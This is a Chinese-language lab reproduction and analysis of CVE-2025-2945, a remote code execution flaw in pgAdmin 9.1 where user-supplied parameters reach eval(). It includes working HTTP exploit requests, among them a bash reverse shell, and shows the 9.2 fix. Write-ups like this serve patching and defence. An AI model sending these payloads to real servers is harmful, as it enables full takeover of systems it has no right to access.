环境搭建
可以通过Docker快速搭建漏洞复现环境,以dpage/pgadmin4:9.1.0镜像为例。
- 首先创建一个容器网络,用于容器间通信:
docker network create pg-network
- 启动一个PostgreSQL数据库容器:
docker run -d --name postgres \
--network pg-network \
-e POSTGRES_USER=postgres \
-e POSTGRES_PASSWORD=postgres123 \
-e POSTGRES_DB=testdb \
-p 5432:5432 \
postgres:15
- 启动存在漏洞的pgAdmin容器(版本9.1.0):
docker run -d --name pgadmin \
--network pg-network \
-e 'PGADMIN_DEFAULT_EMAIL=test@example.com' \
-e 'PGADMIN_DEFAULT_PASSWORD=123456' \
-p 5050:80 \
docker.io/dpage/pgadmin4:9.1.0
- 检查网络及容器状态:
# 查看网络详情
docker network inspect pg-network
# 删除网络(测试完成后)
docker network rm pg-network
环境启动后,访问 http://127.0.0.1:5050,使用设置的邮箱和密码登录pgAdmin管理界面。


漏洞复现
该漏洞主要存在于两个接口,均可导致远程代码执行。
此接口用于导出SQL查询结果,其query_commited参数被不安全地执行。
前提:获取有效的登录Session与CSRF Token。
步骤 1:临时连接数据库服务器
调用接口 /misc/workspace/adhoc_connect_server,获取服务器ID (sid) 和数据库ID (did)。
请求示例:
POST /misc/workspace/adhoc_connect_server HTTP/1.1
Host: 127.0.0.1:5050
...
{
"sid":null,
"did":"testdb",
"user":"postgres",
"host":"postgres",
"port":"5432",
"username":"test",
"password":"postgres123",
...
}

响应中返回 sid 与 did:

步骤 2:初始化SQL编辑器会话
调用接口 /sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did},其中trans_id为随机生成的事务ID(后续需保持一致)。
请求示例:
POST /sqleditor/initialize/sqleditor/1234567/1/1/16384 HTTP/1.1
Host: 127.0.0.1:5050
...
{
"user": "postgres",
"password": "postgres123",
"dbname": "testdb"
}

步骤 3:触发命令执行漏洞
调用漏洞接口 /sqleditor/query_tool/download/{trans_id},在query_commited参数中注入Python代码。
-
概念验证:执行创建文件的命令。
POST /sqleditor/query_tool/download/1234567 HTTP/1.1
Host: 127.0.0.1:5050
...
{
"query":"SELECT 1;",
"query_commited":"open('/tmp/20251208', 'w')"
}

进入容器验证文件是否创建成功:

-
反弹Shell:构造命令获取反向连接。
POST /sqleditor/query_tool/download/1234567 HTTP/1.1
Host: 127.0.0.1:5050
...
{
"query":"SELECT 1;",
"query_commited":"__import__('os').system('bash -c \"bash -i >& /dev/tcp/host.docker.internal/6666 0>&1\"')"
}

路径二:/cloud/deploy
此接口用于向云平台部署数据库实例,其high_availability参数存在命令注入。为方便复现,需临时注释掉Google Cloud认证校验代码。
-
修改容器内文件:
# 进入容器
docker exec -it -u root pgadmin "/bin/bash"
# 注释相关认证代码
FILE="/pgadmin4/pgacloud/providers/google.py"
sed -i 's/credentials = self._get_credentials/#&/' $FILE
sed -i 's/service = discovery.build/#&/' $FILE
sed -i 's/credentials=credentials)/#&/' $FILE
# 验证修改
sed -n '135,140p' /pgadmin4/pgacloud/providers/google.py
-
命令行验证漏洞:
/venv/bin/python /pgadmin4/pgacloud/pgacloud.py google create-instance \
--project test \
--name test \
--high-availability "__import__('os').system('id > /tmp/google_pwned.txt')"

-
Web接口复现:
为了让Web接口生效,还需注释两处session校验代码,然后重启容器。
FILE="/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
sed -i 's/google_obj = pickle.loads/#&/' $FILE
sed -i "s/env\['GOOGLE_CREDENTIALS'\] = /#&/" $FILE
docker restart pgadmin
发送恶意请求:
POST /cloud/deploy HTTP/1.1
Host: 127.0.0.1:5050
...
{
"cloud": "google",
...
"instance_details": {
...
"high_availability": "__import__('os').system('id > /tmp/pwned.txt')"
},
...
}

漏洞分析
通过分析pgAdmin 9.1源代码,可以定位漏洞根源。
-
/misc/workspace/adhoc_connect_server (web/pgadmin/misc/workspaces/__init__.py):
验证连接参数,建立到PostgreSQL的实际连接,返回sid和did。

-
/sqleditor/initialize/sqleditor/... (web/pgadmin/tools/sqleditor/__init__.py):
创建QueryToolCommand对象并建立连接,关键是将该命令对象序列化后存入session['gridData'][trans_id]。后续check_transaction_status()函数会检查此trans_id是否存在。


-
/sqleditor/query_tool/download/{trans_id} (web/pgadmin/tools/sqleditor/__init__.py#start_query_download_tool):
漏洞触发点。从请求中获取query_commited参数,并直接传递给eval()函数执行,导致任意Python代码执行。

/cloud/deploy 漏洞链
-
入口路由 (web/pgadmin/misc/cloud/__init__.py#deploy_on_cloud):
接收请求,根据cloud字段分发到对应的云提供商处理函数(如Google)。

-
Google云处理 (web/pgadmin/misc/cloud/google/__init__.py#deploy_on_google):
构建命令行参数,其中用户控制的high_availability被直接拼入。创建一个BatchProcess后台进程来执行pgacloud.py脚本。

-
命令行解析与执行 (web/pgacloud/pgacloud.py):
脚本加载providers模块,解析命令行参数,并调用对应命令函数。

-
漏洞触发点 (web/pgacloud/providers/google.py):
在cmd_create_instance() -> _create_google_postgresql_instance()函数中,args.high_availability参数被直接传递给eval()函数执行。


漏洞修复
官方在9.2版本中修复了这两个漏洞,核心修复方式是移除不安全的eval()调用,改为安全的类型检查与字符串比较。
9.1版本中使用eval(query_commited)。9.2版本中,首先检查参数是否为字符串,若是则转换为小写并与'true'或'1'比较;若为布尔型则直接使用。彻底避免了代码执行。

/cloud/deploy 修复
修复逻辑与上述类似,对于high_availability参数,同样移除了eval(),采用安全的字符串/布尔值判断逻辑。

总结:CVE-2025-2945漏洞源于pgAdmin在多个接口中对用户输入参数使用了危险的eval()函数。作为广泛使用的数据库管理工具,此类高危漏洞可导致攻击者完全接管服务器。开发者应尽快升级至pgAdmin 9.2或更高版本,并在自身开发中严格避免使用eval()处理不可信输入。对于仍在使用容器运行旧版本的用户,务必确保pgAdmin服务不暴露在公网,并严格限制访问来源。